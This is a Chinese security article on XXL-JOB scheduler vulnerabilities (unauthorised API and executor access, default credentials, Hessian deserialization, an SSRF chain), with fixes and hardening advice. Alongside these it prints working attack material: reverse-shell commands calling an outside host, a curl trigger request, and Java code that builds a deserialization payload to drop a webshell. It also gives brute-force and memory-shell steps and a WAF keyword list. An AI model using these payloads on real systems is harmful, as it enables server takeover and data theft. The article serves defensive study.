文章目录

    • 前言
    • 一、核心漏洞分类与技术细节
    • 二、漏洞关联利用与攻击路径
    • 三、版本演进与修复策略
    • 四、安全运维建议
    • 五、典型漏洞复现环境搭建
    • 六、总结

前言

XXL-JOB是国内主流的开源分布式任务调度框架,由徐雪里开发维护,以轻量易用、高可用、适配分布式场景等特性,广泛应用于互联网、金融等行业,承担定时任务调度、批量数据处理等核心业务。

其架构核心为“调度中心(负责任务配置与触发)”与“执行器(负责任务实际运行)”,二者协同实现分布式任务管理。随着其部署范围扩大,低版本因安全设计不足,暴露出API未授权访问、默认弱口令、反序列化注入等高频漏洞,成为安全响应中心(SRC)常见安全事件诱因,可能导致服务器被控、业务数据泄露等严重后果。本文档即针对这些高频漏洞展开深度分析,为安全防护提供参考。

一、核心漏洞分类与技术细节

  1. API未授权访问漏洞(<=2.2.0)

    • 漏洞原理:调度中心的/api接口未启用身份认证机制,攻击者可直接调用任务触发、日志查询等敏感接口。例如,通过构造POST请求调用/api/trigger接口,传入恶意参数即可执行任意系统命令。
    • 利用场景:攻击者通过FOFA等工具搜索暴露的API接口,发送包含glueType=GLUE_SHELLexecutorParam=bash -i >& /dev/tcp/attacker_ip/port 0>&1的请求,直接获取服务器权限。
    • 修复方案
      • 配置xxl.job.accessToken并在调度中心与执行器保持一致。
      • 升级至2.3.0+版本,启用接口权限校验模块。
  2. Executor未授权访问漏洞(<=2.2.0)

    • 漏洞本质:执行器默认监听9999端口且未配置访问控制,攻击者可直接调用RESTful API执行命令。例如,发送POST请求至/run接口,携带cmd=whoami即可获取系统信息。
    • 版本差异
      • 2.2.0以下版本:直接通过HTTP接口执行命令。
      • 2.2.0以上版本:需结合Hessian协议和未修改的accessToken进行攻击。
    • 防御措施
      • 关闭公网对9999端口的访问,仅允许调度中心IP通信。
      • 配置防火墙规则,限制来源IP范围。
  3. 默认登录密码漏洞(全版本)

    • 风险现状:默认账号密码为admin/123456,且2.1.1版本前可设置超过18位密码导致登录失败。攻击者通过弱口令爆破或社工手段获取权限后,可创建恶意任务实现RCE。
    • 利用链
      • 爆破登录:使用Burp Suite加载弱口令字典进行暴力破解。
      • 任务植入:登录后创建GLUE类型任务,写入反弹Shell代码。
    • 加固建议
      • 强制修改默认密码,采用大小写字母+数字+特殊符号的组合。
      • tables_xxl_job.sql中修改初始化密码的MD5值。
  4. Hessian反序列化漏洞(<=2.1.2)

    • 技术背景:调度中心使用Hessian协议进行远程调用,低版本未对输入数据进行有效过滤,导致反序列化漏洞。攻击者构造包含恶意类的序列化数据,触发任意代码执行。
    • 利用方式
      • 构造POC:使用SwingLazyValue结合JavaUtils.writeBytesToFilename写入恶意文件。
      • 内存马植入:通过反序列化注入冰蝎或哥斯拉内存马,实现持久化控制。
    • 修复方案
      • 升级至2.2.0+版本,移除危险的反序列化入口点。
      • 禁用Hessian协议,改用HTTP+JSON通信。

二、漏洞关联利用与攻击路径

  1. 组合攻击示例

    • 步骤1:SSRF获取AccessToken(CVE-2022-43183)
      • 攻击者通过调度中心/log/cat接口构造SSRF请求,获取执行器的accessToken
    • 步骤2:Executor命令执行
      • 使用窃取的accessToken向执行器发送请求,调用/run接口执行命令。
    • 步骤3:横向渗透
      • 利用获取的服务器权限,扫描内网其他XXL-JOB实例,复用漏洞进行扩散。
  2. 典型攻击载荷

    • 反弹Shell(API未授权)

      curl -X POST "http://target:8080/xxl-job-admin/api/trigger" \
      -H "Content-Type: application/json" \
      -d '{"jobId":1,"executorParam":"bash -i >& /dev/tcp/1.1.1.1/4444 0>&1"}'
      
    • Hessian反序列化(内存马)

      // 生成恶意序列化数据
      UIDefaults uiDefaults = new UIDefaults();
      uiDefaults.put("key", new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/shell.jsp", payloadBytes}));
      Hessian2Output output = new Hessian2Output(new FileOutputStream("poc.ser"));
      output.writeObject(uiDefaults);
      output.close();
      

三、版本演进与修复策略

漏洞类型影响版本修复版本核心变更点
API未授权访问<=2.2.02.3.0+增加accessToken校验模块,限制接口访问权限
Executor未授权<=2.2.02.2.1+引入RESTful API权限控制,默认关闭公网访问
默认登录密码全版本2.1.1+前端限制密码长度,后台加强密码复杂度校验
Hessian反序列化<=2.1.22.2.0+移除jetty容器中的反序列化入口,改用安全通信协议
SSRF漏洞<=2.3.12.4.0+过滤executorAddress参数,禁止自定义目标地址

四、安全运维建议

  1. 基础防护

    • 网络隔离:调度中心与执行器采用内网通信,关闭公网对9999端口的暴露。
    • 最小化原则:禁用不必要的API接口,仅开放管理后台的8080端口。
  2. 动态监测

    • 流量分析:通过WAF检测包含bashcurlwget等关键词的请求。
    • 日志审计:监控调度中心的登录日志和任务执行日志,及时发现异常操作。
  3. 版本管理

    • 定期检查:使用mvn dependency:treegradle dependencies命令,确认XXL-JOB及依赖库版本。
    • 自动更新:在CI/CD流程中集成版本扫描工具(如OWASP Dependency-Check),发现漏洞立即触发升级。

五、典型漏洞复现环境搭建

  1. 环境配置

    • 下载xxl-job-2.1.2源码,修改application.properties中的数据库连接信息。
    • 启动MySQL服务,执行tables_xxl_job.sql初始化表结构。
    • 编译并运行调度中心和执行器,开放8080和9999端口。
  2. 漏洞验证

    • Hessian攻击:使用curl发送包含序列化数据的请求:

      curl -X POST "http://localhost:8080/xxl-job-admin/api" \
      -H "Content-Type: x-application/hessian" \
      --data-binary @poc.ser
      
    • Executor命令执行:直接访问http://localhost:9999/run?cmd=id,验证响应是否包含用户信息。

攻击方式参考:

https://xz.aliyun.com/news/13339
https://forum.butian.net/share/2592
https://github.com/charonlight/xxl-jobExploitGUI/blob/main/README.md

六、总结

XXL-JOB的低版本漏洞多源于设计缺陷和配置不当,攻击者通过未授权访问、反序列化等手段可轻易获取服务器控制权。

建议企业采取"主动防御+动态监测+版本迭代"的三层防护体系,及时修复漏洞并强化访问控制。

同时,开发者应遵循安全编码规范,在远程调用、数据解析等关键环节引入严格的输入校验机制,从源头降低安全风险。

本文是「Web安全」系列内容,点击专栏导航查看全部内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/98015.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/98015.shtml
英文地址,请注明出处:http://en.pswp.cn/web/98015.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Capacitor 打包后接口访问不到的排查经历

我最近在用 Quasar Capacitor 6 做一个 Android App&#xff0c;前端用的是 Vue3 Quasar&#xff0c;打包交给 Capacitor 去跑在手机的 WebView 里&#xff0c;后端是 FastAPI 提供接口。开发模式下一切顺利&#xff0c;浏览器里访问接口没有任何问题&#xff0c;我甚至觉得打…

【正点原子】Linux应用编程入门~概念及环境介绍

应用编程概念 应用编程&#xff08;也可称为系统编程&#xff09;与驱动编程、裸机编程有何不同&#xff1f;系统调用&#xff1b;何为库函数&#xff1b;应用程序的 main()函数&#xff1b;应用程序开发环境的介绍&#xff1b;系统调用 定义系统调用&#xff08;system call&a…

一、HTML 完全指南:从零开始构建网页

文章目录前言一、 HTML 结构认识 HTML 标签HTML 文件基本结构标签层次结构快速生成代码框架二、 HTML 常见标签详解2.1 注释标签2.2 标题标签 (h1 - h6)2.3 段落标签 (p)2.4 换行标签 (br)2.5 格式化标签2.6 图片标签 (img)2.7 超链接标签 (a)2.8 表格标签基本使用合并单元格2.…

基于POI-TL实现动态Word模板的数据填充:【散点图】特殊处理方案

基于POI-TL实现动态Word模板的数据填充:散点图特殊处理方案 在使用POI-TL进行Word模板动态数据填充时,图表生成是一个常见需求。最近在项目中使用POI-TL处理散点图时遇到了一个特殊问题,经过研究后找到了解决方案,特此记录分享。 问题背景 POI-TL作为一款优秀的Java Wor…

使用node-Express框架写一个学校宿舍管理系统练习项目-前后端分离

今天继续分享一个新的练习项目&#xff0c;是使用node做为后端语言&#xff0c;来写的一个前后端分离项目&#xff1a;学校宿舍管理系统。我们如果想掌握一门编程语言&#xff0c;就是需要大量的练习。所以当我们学习到了一些知识&#xff0c;自己想一下 可以拿学到的知识&…

Kafka 运维实战基本操作含命令与最佳实践

1. 基础概览与工具入口 Kafka 发行包的所有 CLI 工具均在 bin/ 目录下。任何工具不带参数运行都会显示所有可用选项。本文命令默认&#xff1a;--bootstrap-server localhost:9092&#xff1b;生产请替换为你的控制面或内网 VIP。 2. 主题管理&#xff08;创建 / 修改 / 删除 /…

贪心算法应用:航班起降问题详解

Java中的贪心算法应用&#xff1a;航班起降问题详解 贪心算法是一种在每一步选择中都采取当前状态下最优的选择&#xff0c;从而希望导致全局最优解的算法策略。在航班起降问题中&#xff0c;贪心算法可以有效地解决机场跑道调度问题&#xff0c;即如何安排航班的起降顺序以最大…

uniapp scroll-view 设置scrollTop无效

当我们使用 scroll-view的scroll-top的时候 默认想让它回到顶部&#xff0c;当我们设置值为0的时候会不生效&#xff0c;在实际运用过程中&#xff0c;发现设置了scroll-top无效&#xff0c;滚动条位置并没有发生变化&#xff0c;是因为微信小程序的官方框架处于性能考虑&#…

网络与通信

1.TCP协议与UDP协议TCP&#xff08;Transmission Control Protocol&#xff0c;传输控制协议&#xff09;和 UDP&#xff08;User Datagram Protocol&#xff0c;用户数据报协议&#xff09;是 TCP/IP 协议族中两种核心的传输层协议&#xff0c;它们在数据传输方式、可靠性、适…

Node.js中package.json详解

1. name&#xff08;名称&#xff09; 如果你计划发布你的包&#xff0c;package.json 中最重要的字段是 name 和 version&#xff0c;因为它们是必需的。name 和 version 共同组成一个假定完全唯一的标识符。包的更改应伴随版本号的更新。如果你不打算发布包&#xff0c;那么…

代码随想录第14天| 翻转、对称与深度

226.翻转二叉树 &#xff08;优先掌握递归&#xff09; 题目链接/文章讲解/视频讲解&#xff1a;翻转二叉树 交换的是指针&#xff0c;而不是数值&#xff0c;如果用数值做交换&#xff0c;需要交换的节点下面无法很好的操作。 使用递归来实现&#xff0c;但要提前清除是什么顺…

DNS-Windows上使用DNS

DNS-Windows上使用DNS一、查看与修改DNS配置1.1、查看当前DNS服务器设置1.2、临时修改 DNS 服务器&#xff08;命令行&#xff09;二、DNS缓存相关操作2.1、查看DNS缓存内容2.2、 刷新 DNS 缓存&#xff08;清除过期记录&#xff09;三、测试域名解析&#xff08;nslookup 工具…

3dsMax 2026 .NET Core 8 转型下的Maxscript脚本开发:动态编译模块的重构策略与兼容性升级路径

3ds Max 长期以来一直提供出色的 .NET 集成,使 Maxscript 能够无缝利用任何 .NET 库的强大功能。部分开发者在工具中广泛使用了 .NET 功能。 之前,3ds Max 依赖于 .NET Framework 4.8 并且最近更新到了 4.8.1,用于 2025 版本的发布。然而,随着 3ds Max 2026 的推出,Autod…

golang 做webrtc开发核心

在Golang中进行WebRTC开发&#xff0c;核心在于理解WebRTC协议的工作原理以及如何利用Go生态中的库来实现关键功能。以下是Golang WebRTC开发的核心要点&#xff1a; WebRTC基础概念 了解ICE&#xff08;Interactive Connectivity Establishment&#xff09;协议用于NAT穿越掌握…

RabbitMQ 异步化抗洪实战

说明&#xff1a;本文仅展示架构思路与安全片段&#xff0c;所有敏感字段已用占位符&#xff1b;不含可直接复刻的生产细节。数据与接口均为演示/虚拟。0. 背景与目标长耗时/不确定接口&#xff08;如对接第三方机器人平台&#xff09;的同步阻塞&#xff0c;容易造成请求堆积与…

接口返回 2 万条数据,easy-trans导致多了20s耗时排查过程

内网访问排版核料详情功能&#xff0c;用户反馈要等十几秒排查 sql&#xff1a;sql 比较简单排查内存计算&#xff1a;arthus trace 类名 方法名 总耗时2s排查页面渲染是否缓慢&#xff1a;F12 查看接口 等待服务器响应 20s 下载时间 30s, 故不考虑渲染问题排查请求响应日志打…

AIGC入门,手搓大模型客户端与MCP交互

概述 在现代应用开发中&#xff0c;将大语言模型&#xff08;LLM&#xff09;与专用工具服务相结合&#xff0c;可以构建出既能理解自然语言&#xff0c;又能准确执行专业任务的智能代理。本文介绍一个基于 MCP&#xff08;Model Context Protocol&#xff09;协议和 Ollama 本…

深度学习:从预备知识到未来展望

在当今数字化时代&#xff0c;深度学习正以前所未有的速度改变着我们的生活和工作方式。从智能语音助手到自动驾驶汽车&#xff0c;从精准医疗到个性化推荐系统&#xff0c;深度学习的应用无处不在。本文将从深度学习的预备知识入手&#xff0c;探讨其发展历程、关键技术和未来…

软考高级系统架构设计师之构件与中间件技术篇

一、构件的定义 定义1:软件构件是一种组装单元&#xff0c;它具有规范的接口规约和显式的语境依赖。软件构件可以被独立地部署并由第三方任意地组装。 定义2:构件是某系统中有价值的、几乎独立的并可替换的一个部分&#xff0c;它在良好定义的体系结构语境内满足某清晰的功能。…

Node.js 文件上传中文文件名乱码问题,为什么只有Node会有乱码问题,其他后端框架少见?

问题现象当用户上传包含中文字符的文件时&#xff0c;在服务器端获取到的文件名可能变成类似 ‹•–‡.txt 这样的乱码&#xff0c;而不是预期的中文文件名。为什么只有Node会乱码&#xff1f;很多后端框架&#xff08;如 Java Spring Boot、Python Django、PHP Laravel&#x…